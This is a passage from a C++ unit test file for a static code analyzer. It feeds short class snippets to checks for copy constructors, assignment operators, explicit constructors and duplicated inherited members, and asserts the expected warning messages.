TEST_CASE(initializerListUsage);\n TEST_CASE(selfInitialization);\n\n TEST_CASE(virtualFunctionCallInConstructor);\n TEST_CASE(pureVirtualFunctionCall);\n TEST_CASE(pureVirtualFunctionCallOtherClass);\n TEST_CASE(pureVirtualFunctionCallWithBody);\n TEST_CASE(pureVirtualFunctionCallPrevented);\n\n TEST_CASE(duplInheritedMembers);\n TEST_CASE(explicitConstructors);\n TEST_CASE(copyCtorAndEqOperator);\n\n TEST_CASE(override1);\n TEST_CASE(overrideCVRefQualifiers);\n\n TEST_CASE(uselessOverride);\n\n TEST_CASE(thisUseAfterFree);\n\n TEST_CASE(unsafeClassRefMember);\n\n TEST_CASE(ctuOneDefinitionRule);\n\n TEST_CASE(testGetFileInfo);\n\n TEST_CASE(returnByReference);\n }\n\n#define checkCopyCtorAndEqOperator(...) checkCopyCtorAndEqOperator_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyCtorAndEqOperator_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkCopyCtorAndEqOperator)();\n }\n\n void copyCtorAndEqOperator() {\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'copy constructor' but lack of 'operator='.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'copy constructor is empty and will not assign i and therefore the behaviour is different to the default assignment operator'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'operator=' but lack of 'copy constructor'.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'assignment operator does not assign i and therefore the behaviour is different to the default copy constructor'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const int &x) { this->x = x; return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A {\\n\"\n \"public:\\n\"\n \" A() : x(0) { }\\n\"\n \" A(const A & a) { x = a.x; }\\n\"\n \" A & operator = (const A & a) {\\n\"\n \" x = a.x;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \"public:\\n\"\n \" B() { }\\n\"\n \" B(const B & b) :A(b) { }\\n\"\n \"private:\\n\"\n \" static int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7987 - Don't show warning when there is a move constructor\n checkCopyCtorAndEqOperator(\"struct S {\\n\"\n \" std::string test;\\n\"\n \" S(S&& s) : test(std::move(s.test)) { }\\n\"\n \" S& operator = (S &&s) {\\n\"\n \" test = std::move(s.test);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8337 - False positive in copy constructor detection\n checkCopyCtorAndEqOperator(\"struct StaticListNode {\\n\"\n \" StaticListNode(StaticListNode*& prev) : m_next(0) {}\\n\"\n \" StaticListNode* m_next;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkExplicitConstructors(...) checkExplicitConstructors_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkExplicitConstructors_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkExplicitConstructors)();\n }\n\n void explicitConstructors() {\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) { }\\n\"\n \" Class(Class&& other) { }\\n\"\n \" explicit Class(int i) { }\\n\"\n \" explicit Class(const std::string&) { }\\n\"\n \" Class(int a, int b) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" explicit Class(const Class& other) { }\\n\"\n \" explicit Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) = delete;\\n\"\n \" Class(Class&& other) = delete;\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(int i) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Class 'Class' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(const Class& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6585\n checkExplicitConstructors(\"class Class {\\n\"\n \" private: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" public: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7465: Error properly reported in templates\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test(int) : fData(0) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) Struct 'Test < int >' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n // #7465: No error for copy or move constructors\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test() : fData(0) {}\\n\"\n \" Test (const Test& aOther) : fData(aOther.fData) {}\\n\"\n \" Test (Test&& aOther) : fData(std::move(aOther.fData)) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8600\n checkExplicitConstructors(\"struct A { struct B; };\\n\"\n \"struct A::B {\\n\"\n \" B() = default;\\n\"\n \" B(const B&) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"struct A{\"\n \" A(int, int y=2) {}\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Struct 'A' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct Foo {\\n\" // #10515\n \" template \\n\"\n \" explicit constexpr Foo(T) {}\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" template \\n\"\n \" constexpr explicit Bar(T) {}\\n\"\n \"};\\n\"\n \"struct Baz {\\n\"\n \" explicit constexpr Baz(int) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Token;\\n\" // #11126\n \"struct Branch {\\n\"\n \" Branch(Token* tok = nullptr) : endBlock(tok) {}\\n\"\n \" Token* endBlock = nullptr;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Struct 'Branch' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct S {\\n\"\n \" S(std::initializer_list il) : v(il) {}\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"template\\n\" // #10977\n \"struct A {\\n\"\n \" template\\n\"\n \" A(Ts&&... ts) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Color {\\n\" // #7176\n \"public:\\n\"\n \" Color(unsigned int rgba);\\n\"\n \" Color(std::uint8_t r = 0, std::uint8_t g = 0, std::uint8_t b = 0, std::uint8_t a = 255);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\"\n \"[test.cpp:4:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\",\n errout_str());\n\n checkExplicitConstructors(\"template \\n\" // #13878\n \"struct S {\\n\"\n \" S(std::nullptr_t) {}\\n\"\n \" explicit S(T* p) : m(p) {}\\n\"\n \" T* m{};\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkDuplInheritedMembers(...) checkDuplInheritedMembers_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkDuplInheritedMembers_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkDuplInheritedMembers)();\n }\n\n void duplInheritedMembers() {\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : public Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:9:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" public:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\"\n \"[test.cpp:7:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base1'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int y;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown 'Base' class\n checkDuplInheritedMembers(\"class Derived : public UnknownBase {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6692\n checkDuplInheritedMembers(\"namespace test1 {\\n\"\n \" struct SWibble{};\\n\"\n \" typedef SWibble wibble;\\n\"\n \"}\\n\"\n \"namespace test2 {\\n\"\n \" struct SWibble : public test1::wibble {\\n\"\n \" int Value;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9957\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" public:\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"class Derived1: public Base {\\n\"\n \" public:\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:10:9]: (warning) The class 'Derived2' defines member variable with name 'i' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"template\\n\"\n \"struct BitInt : public BitInt { };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits;\\n\"\n \"}\\n\"\n \"template \\n\"\n \"struct function_traits\\n\"\n \" : public _impl::fn_traits> {};\\n\"\n \"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits\\n\"\n \" : public fn_traits {};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10594\n checkDuplInheritedMembers(\"template struct A { bool a = true; };\\n\"\n \"struct B { bool a; };\\n\"\n \"template<> struct A<1> : B {};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:6:9]: (warning) The struct 'D' defines member function with name 'g' also defined in its parent struct 'B'. [duplInheritedMember]\\n\",\n errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g(int) const;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {\\n\"\n \" struct T {\\n\"\n \" T() {}\\n\"\n \" };\\n\"\n \"};\\n\"\n \"struct T : S::T {\\n\"\n \" T() : S::T() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B { virtual int& get() = 0; };\\n\" // #12311\n \"struct D : B {\\n\"\n \" int i{};\\n\"\n \" int& get() override { return i; }\\n\"\n \" const int& get() const { return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\" // #12353\n \" public:\\n\"\n \" void One();\\n\"\n \" void Two();\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" void Two() = delete;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkCopyConstructor(...) checkCopyConstructor_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyConstructor_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings3, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings3, this);\n checkClass.copyconstructors();\n }\n\n void copyConstructor1() {\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) : p(f.p), c(f.c)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(f.p)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" F&operator=(const F&);\\n\"\n \" ~F();\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F(const F &f) {\\n\"\n \" p = f.p;\\n\"\n \" }\\n\"\n \" F(char *str) {\\n\"\n \" p = malloc(strlen(str)+1);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n \"[test.cpp:3] -> [test.cpp:7]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n , errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) :p(f.p)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\"\n \"[test.cpp:5] -> [test.cpp:10]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"\"\n , errout_str());\n\n checkCopyConstructor(\"class kalci\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" kalci()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" }\\n\"\n \" kalci(const kalci &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" d=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~kalci();\\n\"\n \" kalci& operator=(const kalci&kalci);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,str);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,st);\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] -> [test.cpp:11]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string) {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:4]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" d=(char*)malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:8]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c;\\n\"\n \" const char *p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=str;\\n\"\n \" d=st;\\n\"\n \" c=(char *)malloc(strlen(string)+1);\\n\"\n \" strcpy(d,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=f.p;\\n\"\n \" d=f.d;\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(d,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E { E(E&); };\\n\" // non-copyable\n \"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E {};\\n\"\n \"class F : E {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" F(F& f);\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() : p(malloc(100)) {}\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n // #7198\n checkCopyConstructor(\"struct F {\\n\"\n \" static char* c;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor2() { // ticket #4458\n checkCopyConstructor(\"template \\n\"\n \"class Vector\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Vector() {\\n\"\n \" _M_finish = new _Tp[ 42 ];\\n\"\n \" }\\n\"\n \" Vector( const Vector<_Tp>& v ) {\\n\"\n \" }\\n\"\n \" ~Vector();\\n\"\n \" Vector& operator=(const Vector&v);\\n\"\n \" _Tp* _M_finish;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor3() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = delete;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = default;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The copy constructor is explicitly defaulted but the default copy constructor does not work well. It is recommended to define or delete the copy constructor. [noCopyConstructor]\\n\", errout_str());\n }\n\n void copyConstructor4() {\n checkCopyConstructor(\"class noncopyable {\\n\"\n \"protected:\\n\"\n \" noncopyable() {}\\n\"\n \" ~noncopyable() {}\\n\"\n \"\\n\"\n \"private:\\n\"\n \" noncopyable( const noncopyable& );\\n\"\n \" const noncopyable& operator=( const noncopyable& );\\n\"\n \"};\\n\"\n \"\\n\"\n \"class Base : private noncopyable {};\\n\"\n \"\\n\"\n \"class Foo : public Base {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor5() {\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public Copyable, public UnknownType {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public UnknownType, public Copyable {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor6() {\n checkCopyConstructor(\"struct S {\\n\"\n \" S() {\\n\"\n \" for (int i = 0; i < 5; i++)\\n\"\n \" a[i] = new char[3];\\n\"\n \" }\\n\"\n \" char* a[5];\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (warning) Struct 'S' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a operator= which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a destructor which is recommended since it has dynamic memory/resource management.\\n\",\n \"\",\n errout_str());\n }\n\n void deletedMemberPointer() {\n\n // delete ...\n 